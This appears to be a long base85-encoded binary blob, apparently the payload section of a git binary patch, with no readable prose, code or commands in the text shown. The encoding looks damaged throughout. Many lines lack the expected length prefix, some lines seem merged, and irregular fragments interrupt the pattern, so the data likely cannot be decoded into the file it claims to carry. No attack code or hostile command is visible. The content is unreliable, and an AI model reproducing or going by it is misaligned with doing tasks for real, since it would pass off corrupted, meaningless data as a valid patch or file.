zV=fhAJG=4&=`(7hnYR8sL>>lpIUZ7JYHG;_*)bTXU-=&k;a&i=5T4eD)OpfDiyqG# zK=D^x`wobT4$wEs4gH4VqBF40<5on@{37RJY;{TQ_*#a7p&KfiT#be0KuAr47j!b` z?JDB|-g12CAi^JywzIq9>-}5aY?IvbTBGag7q%@bTmVlUw`V~I{PU1bFJyA=lq>#C z^hH&Jw_v=G$~u#?FS(NYkBcsY5-LWKiH#Bs#>%V$0=p}W5(~C`ZffH@PkQJm`5aLk zRxoMU{*5C^4YCjtCF7>utw% zkazygGyk>b_&cvq$cnBCrsJd}uB!Se@G z=wEc6pTxt4_1!MOndOkosI9F(gynXbj=yiQI%LE#u2h8t4Lq23>Mc(wrNQ$FN z#v+pqEZqBy(>)4nW~s?zD^0S5UhvFkq^0Ujb*&$gF%IM>N-W24lSIMAS{938I`_Kw zFSKA^S@bDsUKo32r!{>=!LZye2|HzpRQ+V7;2>Ek71ZqEGp&@yLo9iKUWyGO+W&2} zYowr7V!Jq$&kRf9Afr8T;w6XsH#G8FL$hnSnN^7NJPucnYjPqyKdesT?2)ShQioM~ zNm5knHCxh2D?fFxi=&HdKwb6WdCImZ1bXdJd*>UG15;@okDSL zqfa6li3?mU`+6FVONWmr)CkY(yC0*{7 zGYhA50wE64JTYG6ghYL2^|Uqg9a><$okn$oo1*^Yl(Yw8=YRIXzL}~oHfVN0f20h& zP^-gRlf1*xJmcRgT0xT4{0?e>Ef-`B6+oBDgsR)dNk`|Ke*gdB`A3@SCHmeRF+cZTYxT2PI`%|a%X?LK;^ z!9BO+7rTLi;T#6CF1b2X=G|{UvA}6uE!+jx|hS%gmSJ^9=Kh-OWZIF$9N9&B6JiaI!84ltu#g4 z{)(&r3LRWN@oXCpEek`|eh;*a)F^rkJ@tfBwdt*pLuN^;47(uxz#21%M|^HzsGz^l zB?03RDIB8Z31R2pLZ~;xIwuiC`105Zx~(G=aXTv{dUdKCD$4duCdGn|_ z+~r58f7{My6kAbxoXFqIA}$A2=3;Rd?b$+l9{;#x#A~AvS0~gsM*p~KXS#qv(B2+Y zL)bJ=6A^00e*}boBEyR$-*BjdC##V9f8y@H!~MUh59q+~O*&yx$^UML|L+{oU!js8 z00h=jemTYh{}l8e$O3v99Rq?C%oO^-e+u`1!Rx=H*bfn)uR;c;!u@mg{jaqA!XScX zX!ry5|4qFAj_1hf-$?gIb5_CsM!o+Pl^=llmU)N)D*Uf(|9mIA3zRug&@Gxr{P(5& zUm^ef&i}92|L-c+x1&p4|Iad5>xa-s83_rK?&?d1(2SDecT5K|0MS7{GRCywhhcTk zj%^XoxEb>qqv^WARL|;Sh*ZcDV6-4*@a*S)Cf_i0(dJShxU{ zdE~PS*$)r=K4W|A`NUvsq_#9WoTKUAx|)BI3u?Coz<^k^{S}L5D_;0qfGhEk*KhOs z5}xtH>$8|gkSu%Nl^g~HNA^z%I>m`jaVL;~RE=q%O&xf)l zy0IQlUgVh~3H#1A!rS4Ga|WB+-YKA&EKO5Co2LGZWRW>Z>f7>G13awBg9hHjJQ}@? zWQlt;@-=ZxmyZQ`ReGJs&rgF6A$+)gy$%@BsCGyN;S*Kbp?=#f5yOHgN9eoH@)pr{ z`g3nZqtos5x96Mw1x0Q`{0f9k6%IEHmF9*# z#In%P>D(Q)h*$nvKcl+xlLc|Uh4mN1%-S7nIB6nnOKMw_2)Zd$JIX1-Qif4>`;jaC zBBLuc(IS>52PTi{d_L;1CH|?i@!~))qCNcE8%qEH8sS6jc^H%v@`O1Y|MT~Q8YU1` z7=R>)QT2Kz_vEtm@rBDB2PrpuaF|9Bm94&1`SY>)ZMO7v2{au1(C~p81`t&oU@VtR zdc@<~>jky#?FO9~0^_zIBVZc6L}$@eXf1U&Q%Z6>JpMM4Cx%~-INFvKdEyo4%dZoG zrk7JB;>`Bs!sROp6)YiaMS*Hz7R0%#_nyOnTV~H?5r06oiwA^Fn|Ql^@=b5sJxfOc zTQTe=MnW$>CbXNKwJJz%Gz8zwN3>W7z&eVwD%j1F=tAvlHnKqRux}jy#sswHsyk}6 z53bPUU|R;nXlS)dzC5|Tj}oetHX5%I2T}qG-OefxL{t{%SF6{j@bcE%jjeeH$c1z9 z?V((^Ja^NXDzFkoYMpGWS_WiW6M&eA%qQo=)sWR1@B$Q*4~mMFL)+`Kxxg^yPJ|UD zDh$&_(6-=GO4qdjnVs8jTFr$j7@)`x7)8ZZb3O9u1_tp4>xf(yO0+-UdjsN6uWxB< zA4|1bs5e^nRYse00!0%2h|?RXRa(2Nnd*Gs{`A*u4aw7ZlRP4p3I&`FT~7v*e|c;d zF0pQ;RBwI#BVw&FAM&@IWAinQ<3yS1PpF5gP+-T0UvvTzZ5xMT2Ha@<=9<_o=UQ-m zELWoP3SpcH*{RHxsNzL}6Qw2^+!RpH3$c63*csZ-kgNLo35<`0dn;B#z7vrx<>swS zQ|A5rY9(9dg}oPMtJ%^gmV*c>-sR2%A4A1TWIk`)i_5N-ZDlf@>{BideX@j1kfHuX zCw`NWO8T!2Dw((KM6z^}A=Nby-K4PHa$8vo+;e?$B1YDL7uj)Jc2m;}KOku8REPEl zJYUqP&jl@N$eGgKq zZN}{yx98PS$K%CX76B8uaT-}QAh={tlJXJMo^T1j{XXLryMj)~ zW5BQ}At;=860gt0F=ui|dF}ioXdj2%?1#?-t{ed6~1 z@`VBgq5a^}$U@YvZ(M=~`Ge^y5y_5#8o$Dni)AJICQk@T{YQ>uV^H z$yEWRY}Wm=oz(o6nqRtE(`Cxh&TspCGiBDgS!phdA(cTh?qt>$!uV|6`Vs6qBZgo5 zKV(CaL`e;PenuQG767a3Cl&qV1D&qZf=9-e3T_eM(aYVwtbGuEpEFtNC0Ah4x>z1I z@D~@|VtUK9foS@zB_$~8FW z67BMQ`9Nq~Ca^SP;36CLWUB(cm+wiifRsro0 zp5xZz{&Bn&>dV)!_8!o~F`%^nk&8Bu7=Bh z%}RJA!NAY|vL3aFBFc^(y7}81Gzhz`ctRAcoZXy$c^zAE z>k?5i@_7<*mk~XUM*M>ODTY!hn$$l`S7<^@NK5vWlCtH1(s@=}*{`pGQvdU3Ej=`9 zawW6LFEXD9+WFmOUT!7R2PGM|+f&%$QU*D)WYTX}+HaRUI+GaaJ2`fjd{d#h_x&TFg&5|4v_hp~4*MDjZnUBI$r*Yp70#<{gNxXc*DQB>Em%d)YH z#RjAkqH66X#LOuV+-{=T!mWe{cd|xQ>I3Qb{`W5YYgDAVCJ+~^4|sj2mH>5+E-rDSVxpSHbWS+N%mtjXnG9~L%e zmVL4d3f}iHy`Y9bq z4@TMr(GvPjWX2K2HFKr|Xloehl_?`61+Hwx>%SS8psbZ$dDkH4nVdC>L&0$TMNG>8 zMLJ1wzYce_b|hHtnF!o=`3@E0!TsRZ7@K4^7mztYnc()mQm%E^(SU(rI1vcuVxzFfUpoy~izCy$?e6)>9aFv;w=hHP0qo%A zRlVvBpQ}FAO}cTbrS13exkGCX?Blc&Uxvj_4tun21rl_(C)f{qC;Rq6q>2yA-i^)5 zwLbdxbsY8it&V?&ZnebvVj`(bW48M<<$cl)lO;Xjt9Rp_*Pxjo+?S2_X(*=Tv;sS^ zM(mARw=M}I7?V;c?<4U7>d4T4Fr}|1EjvPR(|`;?G8+aA-J<2wI+Wx)-Rl0A7u2mV zgaE!J$B#zSaACBxETquHy}dxYevuGnv56g@Du;ry57%%b?3BG}?P?_KBr|1ofp=~j z{h`Gnn+QP(!ox4WKFPXJ<2TDx2pRZUK}awqn#K{}$$bv-uw-qEySEBwR)~qN zJsJ#-nIl7g{D#xBisvo-yWmR5(e)!<^QDcb_+DO}#mxYOAxaUSGxGhHHp?NpSe_X? zD2ND5Qo+<>=uBp96Sw|etb;u~T)#b%@b!cx8511PT?bD-$-1$_q#(2fwP+rC+GTUy z7>=f|*sY6ttm8p^CrxEaANXTS$-X}zRLkT(lD9g*1E^=_W;yW2_=0b}IRk=>jeblj z7&ijgbJv^H1ivyVUsExVY z!!Rwkh-dm`_SoX;@#&?QYMqU^+wArycC8QKk@1`EAeBvSMfU|AYjjm?>NrMltxQf$ ziLl9~PPr=@QqD0_;e!82QN(9gB~QdsE2>$~@J8i|pa$7I>&}OpKCN7fQ5pOq-eW32utZ~=Toq)=S{V`nVCgTYZ9{W4@`cWB7|3y#d|!?-?e88 zda-#a(JNN*K;tm z6)f`)pfSUu-0lL|m?xMN`hx3ZR$PKdxuoH95T#=*HO(%#b zVZri(2z6b9?v@kb5m1UD^FvrDW7~b_Fz~*fo)PT$ZOch^0RTo^H+ru>c5!aJ%(`bH z5kQK$GD09QR17-zUK;ufc9luG^dptdYaB%04!qKFgr=w$vn91{kj>G@FvI4ePl~DJ zX6GW3W>4g}Sr&enedYMk&->DJldL2wI8yw`g@$;-(3;dR(Ltv*fW$f}YeyFd4f+Ip zti3F{(V2}Z^AYMj!d~Th^HtB-*@VjB`4CY!z5AS7>TaTDG`Yj3*Xui>-`q`Sq)Hjs z^_>$AFS#9xTi1cXC!5gNLZUS&#SrAVq_-UdI49tGtCy3A?8fW>5qLix^_r>Uk_Rz# zi=xImUG|f0GL9d@=z1rX6kuUR_nR|?I453a`yC|TFiwXrSG?niEQ!H4qa;Do6T!BD zRjPU13O9QYpry0_BJdrHMWS=DQuUx#qp)E8$#7A4%CSJyep4lpf?$ERZ0)7_r6Q3O+A^9w`O4G+wggP55 z?{?9t+qr6)X8*Bxv@FB1^l0;`E!v0Rfd^k#SDEsa+-S2#e(}(oyhj#B3}UpI<()3Rx+>!W0vu9=8k?dItU|Y)o%H zrA(;Hy$`FbUjJqoBH8yhN>PznS8y6U73ov}r0YJKxpYYG-eS~NX>Z(A@=6mu&u9sY zWfAY_()pmP!LoPXX!OAyVksBhD1UZkp}zM#63U)rwit8~2r`Xw3Yb3f+$s(PtCF-i z6D{`znxPUO`GS;7Jn<3cYA{aUJaa z7t6XrES3r|?=$g;;8R~gf?v>n!X&?lbCXI-yS?Ue{XQat$~Y+v4lg>!QOa`)VOQGj8(=m9_%o?P6w4@=0dh6$vu_)k^lmq_tS8rnE& z?TLD!dIu6Chkgnqu38ez9G*MWH|f;fUbVsMN>yT~*g+i|J&Ot(Uv2UuRFP@}e{*zJ z$xF`5r~sPBd?JMjY-_}b_{&1nHo`Bz!>wsccEJMZDqZpK`$&u3s zkNE6iOFNf+bH2)t+}zI%+vsi1tSW6@PdCOK+~tNE#HgtHr^F3>ohfL55rJcqD9btT z4NK;Ey!Dtqxk~_&OJ|>DRpwE2irRI`Qot%&eav?i~Y>^Ms2gu>-M-37`N-{kn&8#OpZcD1ylYg0|0mJ6J+f zMS)lspJ!FH7^MntA{AHbqGs`Y_|07gpF=RKHEeq{2MwBtP@=`N_eNY~K?Gy!#Q53) z0VYW0OBL`yRSU-;@9vkCh*J%Bqf-exZNf~EDU0n=kI4L$I)#BR^@ z@UkjfusN6GEmYARjl@i9XhxE&%zK&5pKNMtO|^0WKI@gBdTejTg>ITS1H5+*SIW}%YJwL6y(6V;An^R8+ ztji(Uv!T~t3#u2JDq)&;w8oM3v!9=nH2wH0yii6GoN5w9VV~dk{~!vw^d1HbWLzWv zq@(^pb?WuKabyM|e0V6vi4!9)s3AN?F)v6yt2obMPrcQ81R>QmZ#}KAI115028E_3KGpU~njq z>fL~3D=zT4=-{&5{#9IJaU5?>N9%)c!D=bbgK&1+cfSvA*ZngmIaleM@U-a$ACewH zNp;VpLQD+nyXO~FZ|fExpgm0fEYYW+Ui-mZE~#HXM}$7Vg4!Y3xa^&gmWlCwWN(+1Zoe_jYcC_9e$Y5bwQ+)gxbYm38K1))$i$pv5CJ zN?QsB?vb257mUo2_98n(1Yj{bX{FBpCX;Yh&`=4sYJKSnlbP8=6PzN9P_LRmH#0@H z$_YB5Dm7P}U_r)zW~O>4LeVfAEy)^cJmv#D_Fo<$Q`BRyCT#6`yo(1w=9o7>f(cWb9Bm=NAntq=H}3pL zq`~<^IZE^jn`98wf+zHs7p2YRH@pd zyfNEF0U7Mb?+jZKxFiBGjPW~?6>{I7E_+4ay@NQBH1vP2 zh^XC!eN$hg=rEQ$YfNES%=r>Ou+|}{r#Y8nAzNQ4TMLb1V+$PwN1+f?)j`^8Fy zo5~R}?XfkRDW-e;$~v^*>f1^87GqvA8R~|K;S)#6GLHmX%%&Y#9K)xO)l{!dm{bdV ziOlrQ#go~6?iUIgR?pS!uSs_>DI}KdNDaiYz^7(vVAb2b%&LtAy~?6|dv!Agk<2ec zwl?z{?Cd4w9m*aa0QLNQF;qWIGE+l7|0j1mEzR7R1d>jJ{g((b_y{3E8yyX)!Ao{} zu&_J!Ms4qNdvTy}are~B!dyhIlZWiNM&g0obd2X+p0bVnO}pT#vsBuTgNcx&U2N}uo2#L^o)OtKEl_$dm!uatSaPnR=v3%BxV%}xzgwhEPDEYUaC zQgxUBw4l=;Pj9s{ueYG`Umt1LOGnXCswW4`aHVl zI#yg1V}Ag2kKip_C4d@PGz8oTW;f&jHKOLE%c=|8T?W)cuCEBZ);9N7aDQK>!+*(c zE`i^+a2`~r$%o5R)Qv}$T#VwqX_g+M534dmrs(DNe`a2GZ@vKt)of8e%Uw!(ef}af z_x&@LU2vuZnt2f&kRQs%t5K^8X@6$wkco6IU<{9RvVOln-J+u86uDb~Q1KK=>@3Vm zX0t#%_~si&(H)P5$ygn{fpA%mP1`%`mzDk&I}HRfStYH=dTh=BnPT>t=ej;q;;;t% zFn+hw%gX4~ah1nvsY;(kpPyTv_K;}^%EPaTeAOM^H~D9`hj%^+gMoIzcp};PC0M&N zAHTsKQ^=-LQp#OSyZrPx1TVEpQ4N0CR&RQ^e4I3o&gimpFk-n-@!EypvWuWWJoNTy zmH!UDbDM9F{;@I^1V#dOgLWwNTr1br|geIT#nE0T0EUWf@1NtT`Mk5 zzF5ajgVoPC?Cv;Up|05GS7!&HWR`sj2fb%bs=RLT=h_@95er!{)59RrLe6C49!ttg zdk_{~u&xZs{E~H8t-`8lmu7l^iceKyo?o*~1Wc{Wg%#X5K)KurRZVlPkNzwS2$^1? zPP=-i@KV{j&pUXp9d-L)VYeg<-&$|<)1-&v7~YZ%?f|ew&mZ$Bq8E4|B#f5SRZ))F z>d4@N#{i6w5TPJqZ>%;C5}a=Sc#1(qGju!_n`pP&o-=%E08wZv{>2me9^X2yp7%iV$IwffN>{ut3b{N^OE@_Ju7#Pvxr&DqUa^g61n1>? zWeB=O{!c9NX<_P+&~!)B-t;~!7A5a#5#3GW%U-OD`iDh0QXx1m2j^KPr{xqXq2*+s z=UtTOweMpmJ~v9#J_mZBc;&!CnMdQY6Mv+lUEr5m8AC`SHiTcvDciLw{0L!5QGU$_ zsa;CJ$VO7M;I-n-b#&Aa|3($HNEil_>V9+Aj30LEK7pz|#tMM9)29*c4uU8kXiYm_ zdR;|JU9!IU6kb4cz7o3vX{T#-Wk_bTg)t|(X8H;9m&hdrP|gM~d>0n7I@+Q)eGcT| zy&w*vw)0Ms9g(IbzN1SZ7k5s5fx9Q3*qDo*eps@|MDy&xEmzkk3dLb?7${m0E82Hi zm2CeqaxT(2br|w_~2XS)a+K>n7SZbS&%>BRETN&LfpJ5 zImI+I%YhVBgeZm%Z*oP4(o;e*iU%uc_Ba0Rb!tWYp~>0au`*HLKW~BpTM&Ovd>76# zbYW-%@*&BeY|rYR6oJIj(V{UcY`+3rc5Mnma_<#>|5_;GI2uU}f#SgN8?qWOEKe~X zYHD(MLdz|$M=MP9u4H>oY1n*9SY$REpBify+)`bIGImBY50D8fsunDg8_Pkm{Lsth zC-gmPL9`09&XM;?!BGLCCFFG%wQQ;4#P}>>GRF*?LCo#i{aA#wa=V6YKbngj&hOac zO2m18Q5QrpHXu5<4tt0?BeolOJEQIC4hV zqHK)m`IXX%li8^bQ3wkOTc7y<{*hJdt=NjFx;~&F3Lg%cB7M+QMqwaosx{xJv}63S z?NT6YDhJgfNh)Q$d2p>A=jMHe?N2ArXj3Fc>W|Hh8 zEQ+0-Q#$z^NYQ-j0aGJ2ZqePUzz4$zzY`n^TLhD=*KincvGjO^$#p_1Go9` zVurlr1sEQWzQ=>$}!0f}ACRe8pn{24P8*-{G#@#vxFn)_5|Yd@BK`0J^69$N7@ z=>=iwWlS?vo3=e2&Tr!}$I&#NQo3Z21H72GIm-Zr-B!@O4*NL%po#nH2|KFY47~LA z`n-GFJy+kl#W>LqNekcStdA{w%FJH!1oP+lh!<`g|8a)^eEr!>kTA27Vs1_ogj1n| z5{n5X=zeMScdy};_QKGyiO?+Vn#*gL=s>kc~et z?lSGYFs-41Hp_u@;6pH&ScaZ7~0(*!s@G96o=TaApE7MG*37>^bU zraYuG6>&HN5(u%%AI{{ajIx9Uya`fAGc77Pe$N=6<7slYuVLbXt;Q3(_6sgZ7Ucvk zZeps!#^b6AX6w6*fo@Yl`;&j~4)*RURPj7__U^DiZ)tZ-f6wCfllO^YIJ-JyQ(?Lv zNrdbF!_-%XMcH-XDx!dZba#g|4Beg5(%s$N-6cp2-2;e-lys+bcS^T(p9g%ubIw2J z8fMR)oon5(9=c~7NASbzPeGJnn83sCW!p%h=DPoOfl1*0l1b2M=ES_40kMB%QT{?b z$T0IKD?s~cape?tl7K1GvY);UuaZM|)jfTG7^AK>x4u+p{Cz=20J+3szXdElI#Dgy z$gW&F#>0tW4Ci+0N?`5A&o9T*b>jd>-Mtf3y8lKP+4Fd!g3TupZ3AQj4x?n~>unK{ zkUNLE_x6cT07nO3t0($gxWFQf$)UL~EXMYMP$B%c4LZ>p-oFu3N%t1b7tEfPa(q7C z%rCOW^S*X-=7e&Av3|<6*Rq1A7A~sE6}p(8mYk6@w?P$H$9*5psPrLlJW)vpcjlGA zud5HJinU8;nIlJ>Z)m)K$zP#B7OigG6t2pL|E9eekrCd32*DCC!zN%MsB&4Ceiuta zE_v^JPXLqUgJkq{#<^~)>;Jk=FCg!}6(xlXP0U%~|0%rN=YYGKYY9*>sQ;oz>B2XxZw>ZPq4Q~2***ZJU zpO_c8(@l4V8LedGwQ+*8ySurAutRs>%r^*5gyF&p*s7W`r{gqpR0iNy&eMC29pDDf z>;uhk>-*YBoC=?(PKAm6U9zk3h#TnK3b#ci$8IpZP47DvfpXZ%WEBRdxhZTyI z0l%0vdT$nh>Me6%6L-;iN<|afNnKE;8gkJsw{YP=z;=bks>1o5Gp10$G(DK%E5X&i zF4PbyOCe2b-(D2;lSS0E&tw6rfoFXqoI_XZ?_;Sl#`O_6ZC>6G!3}t|(+$e$vEO2K zJ?Z7sxqL{OuQNl^k)vl*1&uu3?m0#gph8Cw@mCta%G$`^5Ri%@*Gyrc=d)KpV}w;H zI1uAerT7&B4;uxy$1UZd+K^Hqym^?!OwJRYjDaHnLuL0VAb2>E2#*kj^IbI+xtd*m zEN6aml#?}UH;gfqSRIYslb3oDRHx@Phi7kI)D|LIO8T}! zrI9-Nj(xom#+g6Z(#Dc`A*EJNd4@!J9627hjEq;vIFze;)hC{bVybV%zjz@ZebQ)N zQ%m(Fo>LL{axQJQ)@v9;{&{$Lx0*VKeoFF}I@8sA5(NYyQFHqg1F=FA&+HO1Z3t#G z7fnY4=htifFi6VjG)%VPX<#~etogC4QaFocqro(S0s-DnpD-7zyZ93ob?wkDegYH# z+=%f#`gMwHz0izg=lAnneaJZfVt$o=rMO&+Su1YjZh$FLhmWCvLKHj3_oyd}6h9_DefbU%=WDK)Ng@PTuRlP| zoaeYvD(9Clfc=vOSIsXc9umbP$yf6_QZuMLa-8nc-AbHspk`i-q-6Mj!X;6;!~a&UqILRmeQYFoDkEKl#G zL`}B;gx|8Im~*V@A)o@ z9Frem=mEpt26R?-c;w2@NoCqwY0@Y^>F8K_>F(s# z@$)*wsi3~zRg=25?y8LnMe=I^S&lS9^7(#5xj&Ur6%Tst=86sVmh>T6Wr4!dd~$kf zx8Pxq_cErJs4Y~lE?*O!B%3Ulz(wW##RR4hcU;x`L2ip!cOfxK zWOQCcGT#kT%bm%``)(M6Y60ci$8Gwe2J`vNj1W^~Jx+>%o+hZqMKxt9uASbTaI#>0 zJw?WWk0c*-Nm0X;z>4S5`LL|FIScz5J6azFsu%(qSf}OXs7+vwgnYwWUEg~fcB~y8 z=Sv%W_A0`5@#u!dXPO|*EjqhL2Z^l9PnSOBp3Lxpx!E)C#`rGEIUS{IiiQv8q2#I{ z0f}c9l-8M7*p~7#PaWa4@?KoIz$|P?8d_13T9*?- z{fZ#+Nd!%9J;mJ6X@et;QFZohQUw)KzQ4hwrjK_0XV)`mNVw?Mk{P@BJ|a+k;HL+O z@^Lp9oknM&uic^)%#Dsn*2{mrjwkmAAtt|p%~)A92?0lJe33yZL#h%hr8O=_%P(bI zbxLAbL(+ACfZ&UuQ?4^g4G;Sc3JTOnu)F(JOo*B{9q&fIn9eVA6bH09g5Q;U8JE78 zpO<)fW=IsW8R-iPhl$_XQWt6nYC`csd4rZEGc4Xi#MWyjKqEVO&Lb$37+>49nk2rm zM2_RwFJScD`Qm{s_g5K6|D0 z+!aB`08XF}H7p2d8O%7vmfxV+zk=6Lnv+JFM>L;8Wtv8MpGLxo z`{>pWJIUDfQHeoYXfdi`{b6|0xJzia;y}4z-6>CBTi?pt6+r=AyfsU>So8yp4A%en zLpPWf*E`D?prpvF6)S~eJ^2{R$R}TQLmxy7y7=V(!MH&DnmsS`^UQYd zm#-T8^nKd&F4XDJ{dr4rv7oYDw_1Vy7bC}E;aI(+eRpWh;Q<->S&y)!zaMYv%TRb- z{V7>OZx!fMJQEDdDJPugu_M3J%>5$DO%zRvMgG)B{g>i#n8vgiU72g_Ec--5WORNK zsx(GqdU`zYr(T>SYKSBR=YH9yv=R)#SIjTUg+Kx5t(v28Y?et0p@t`B=>1=(UNZad zN-g2ifrw%`bWK8j!BVcnI8BVAxLk@9OLDOQ<6wfIVQWxH%Mz|sAcw;THUs%)xwxVFHNO$Hb2@6f%(}cc-UvH-JOl8|c z3Cy{*V)}OTk^OE$uy6Jrz`Kq!c0E~*dQ*!ZeGJN~6g-y>;$Fh*IOsn<9cFPns~`Z5 z1P-G;;BNbS>6rBd%B1EDtMD5c7j21GaM}p5h|JRPPHm+$l!!FqG9&3GdQQdY^FqHA z7Rmp})nrha*lg=?BZp&0pF?E_=~SVkicmvQ%D|G7Z&4eN*NWrOvcO8{?I<3 zVn{ri5{^+*$+1L0G$+fYe8T@Q=%uXC9p zGL67^N1$16Fej1i5&>amqY#__HunSWMy&7|Fl$}{V2==^x#G&t=ZQvJ86o&ji!%Rf6ELvCpKpU6Y(Ng@G_;A_7{_0})b4SwhH)}VqB-!2R2hvRg&b$yo*1vj4 zkm*Gahw89CI6&gC#P;Xg{Aj&Kf)~ZGa6-rrwCC8?9}U?)OI|c{mB}4mwk-{gjjd*W z^HNflskpDf9k$pXZf%013$ z(L|0*zO+y6x~aPujKz3!O=KTYDRb4+7Dgm2h%HmeEVstF#aRK$g@shH1at7AZqdKQ zZ`zKz+60vrzZ>!$A%fAd{AbTen5#gWIl3_lIWH97%E-%5A!W>ka-`nVg!I zjbo?SM)+-YuIvz}jC|BaKmi+n7}|vs$qR?aj7-w0Bs9j zLNU?dL{1#>xC?ky;^f3M4R!Sl=mci+X1O~(vuV~)Hp0k?1Cl?uj;naqFs8H;QRO}b zBZ~bppGnMxO@)+6e59Nf9U&+#t;}C$EY$q1QLE@KRtu0fj{b;n^gk`^7xOilPfzqxzOM-6O)=Ivw>Duk$k*^Z7zC^p}x#LG=xufu0 z60k*x?rEetcM;%c38r^l6?WQ9zGiPTTYD8|oKI29E_LT4^*a~x#rKRsT=0n>vz&pN z;`LO0-lu3LtM}}C^Q?uf1WHp`aI#nyv%^HuXIb?kRGvjGf4=GFhW6N{-664MmWfZB zt&~hRZtjJlxC(_vinZU`l(MS^K|LinVZN8`WdP7%eW*`zz@=Esue*#7yqJfkb~L@1 zHo8_7CO|xNaI7fVimfaDcpH9hoUfFJjAyun%j=Nq>zLB_kmj!nt8kbsWH-Vg^CK4) zE7JK?K4SV?jO8=y6$)rnp6@qeqNCTk+#>0;qMGn%ilF`x-I%tsTgxu0NC=4{#o19D zdK6?#1AT?*H4gOsgEs{nh(&u|Obs;~Gm09Ur9Lob5>Zql+;Y(RWwI$(&!O`eaDs%8 z9x*PuH!%UCTiw?oArhXQdp%mxM!aM$uPCzuH8qsCQjpIjWoEtu)jh=JL3njJY-KW> znQGEOklTpH=gYBX3_I<r5TaV6XSGJKF^a>uDU*rK9xP@@ zEOr=5eava#EBaRZ{ezv)Nr^E^_;6qh9CCo}`iO9PwB0EyXdfk~O5X@dw5@wd?!t}R zhix(Fp6R@>QME=BlDRjMbSx0Mdj5U4<2;7rA{sh<0Ihf}%UHJ{wwBZBs7=Z}{6c9d z7r7;P$O)R~wi5V!=W?|0!#40w)dm7Pqd}lULHAjZVtXx2`Um|YS-UA)(AC~_6T$KJuxI3er1bh7|zWq%iZ_{6qOiEs;)n38U#%2od#s-Mbjv20ZzQnrH={< zF_~l)-s77{u!SO3MPnL2Ug*SBe-;3pRSYHb0(81<(68-~IQk9cJ~?=uN5Q3hN!QbD zl%SZrjs)GW3_3TK5RiGiq2!)s@B4@<|8FSDvae4{q;K;2=L2ITjES`uwN=Mh$bHBK zJU|~{nZs^(SR>tc>#k8_6vkzuWAr%R!uV?CRy6jTp`;*Tp)k{f%?Tn)`?YGiS2?BA zFxf5QZOLPiEkDqC_gV@g(ue;0?S4dhB-4Fm%xBXBz;n-)Lf{J}?XFGmCY|v9;sAyk zJkue6E-O4fy3TkljS(pbGvzI|YUQGcahau=_a@42M6e_Vr6lo;O_$cfxeJD69aF zt*>U{5#31>If`l(47!w&6#&Nkzokm$I$&?i2rS%G;#I1aOwG?r`gv+zRoqbGN@i%8 zzRTHVQa;b7hhj8K^Sfe`BB7U0i?-F&QOoMu57ROsz_IHJH{sBY7XW7ggkLVZRW8&^ zp;zFRnx%(>UbrlNg3%^g|Uf7|4yb~mmfrxeNj4@gmYFqr^GeCTIKya0_a8WHTtIHzTyA@OfZ5J z^ZRh<W#{GyHB)4CM7;rTEZ=!O-Hzg!c)n_ZNB%sAF}iBv(;R!VA|LrA zIiI@*)>Cixtx~PzWOqa`%rrkdoXjeNt1xkOUDJvW`6Qj!Ujy>X2+*&flX&DHn_A0j z`$JD{W~0*nTkgymBf5}u<^bshq)LyCQyBZ14aPoH>pxi`ml@uN+R%%_jZb{W6{2O3 z+R1%Vxt#zqb`8?(5IH8EF7m9k<}ofJk%2=sDa}TCYtB+9c%d3ISsbweHr1&-XEjPN zZP}QD;|DpA%gG_yTfH?Z;(EqF)_26z-JTY;PBV7mM=1iklX<&Mwvmwj-B1XwCd~7? ze;G__5#Xve;rxjOgqgC)JBL(^aW)#Nncap%kIEEaZcqw>JX@u3uQfx(cL}M&CbrLx zBOT2BC#8kRIp`+S?5NhyYL-%6xw2H*Ow^%|+9{i4sfd#)lq+vzyv+qR@pKrZy{=p6|s_}WDCf--(K8WCy2L*Z|nc5E^ z3d!8w@Y*I_#l+dt##7Sgpm(|8Y_$0JGo>ldpJSKdny#SA@iI$yY>iv1Kohi#q7$MT z>F;oLF}Ay)trG@bBt2Dz<*;L%#7xQo@am&SesfN(kga*{>IlXg_sAUr=~J;l*~u;g z&xx{xRJ3^XiVeL8JZTH@1eV)8^Q4oCg1BL`+yc8xfY=0d1QyRqAq%SEI}@lSQDT+* zZnao~A)ctSMEa=UIj^65F|wA{cF=b`W_;lrH)fmqsuw_}{SQTJBb#Sm2`uZUYis9O zR)%9o?ts@|#KOV`P=i$85>5vKH>Mt)Wfp{|_#4hwH!ZD#XX(9~4C++Sl*1SRQ~ zKjo{L-|I#l3$)J0=1X(?lIV~sS5YlwEWujCaT zgD5lMx`ryhWems3E>Ao@J^;^ac{qG`?@NqUiL#c;X^FihdyMQX$9+@v29Et|u$8cm z@4UKz1jwtuh#dX-0nKYjcgIuGX}j3gfhRLCs;>Pm4g%Y?%t{n;?8jgk<{az5#5CK{ z>y3#C<(#*+T#3Tn2q%49>{QXROE)>{gzB;*L0_FJomq5Q_@w%0R<%u1g?7QG%K#ep zklu|S{*WEe|Gq>69>Dk}^hS9BSeQO#z=@y-a9veyifPL{MRQ8UR1U$6o90!TV@GH@ z${lI+U5q>sg!!9U&)5-ZT3uMSo1XmCT3w%eoI$G5XEpC0;&fl|;ud}{*4DM`9$?Cq zG(dL?W-jf+MsS^|rp0 zA!Z+Nmd3o;YrR>+Qs4u(zqu_V!tri?5cjw+MBpB`Oy$@{9gX8JD=F_z@_=^%yB_dB zoER@C`6zJCjY=?5zHT(jw|+Sg{~z=PbT?Y$yH>v#huTbz7%Yq2SJk{MEeQhYm1^TI z`UVWMWp5(6!oN?tv~Drpn2r%#c77`@W8CQQbf$#uwy%F5ra=AQuLwDfQ+{FKqX7Zr{cuJOh*h~*}Mz|n321|-Tv2>XV$gJt< zn+Ayyr0C-faTNT;1g}$VRHxaWr+oDz4Ng4PWqFv_6)oef?JLX!_a9NMfg4*wg4hDf zIuM8~NQ8=vH++LX5f(&tC=Tt7!?!0+$iAmh@$2Cm)v6k;O~yn~brPit0hp|yc z8v%74ab{+WqvwlRjf=}{?LLzC-<4yNsj^%y0M4bb`cru+-%2s0JGsyRe~3)FH=U&F z=8ZOj{=SsU$byy)+_^BZG^z4o&R6gxL8~Hk_`i^@ZrPVKL<$)fes~TcoWDKPvL8sa z$u_6<9qb=@z%>Bwhhv~T0lGrhLGxQMPBfGoTx2GIio;&|J%u5rcQ}5X>&YIp+@JwO zs$;xB0C3XUD0d5RNGE~+eM3M_+bhv174w_!!xG*?1(LDQy$0{|3s3K-b|o5-hVqgA ziF$SnD?*Poxm2_<5i`MmF`d>i@h^CxJb)G~38-cV0lf3Oa#8|i_=ib6Ompra*i8QZ 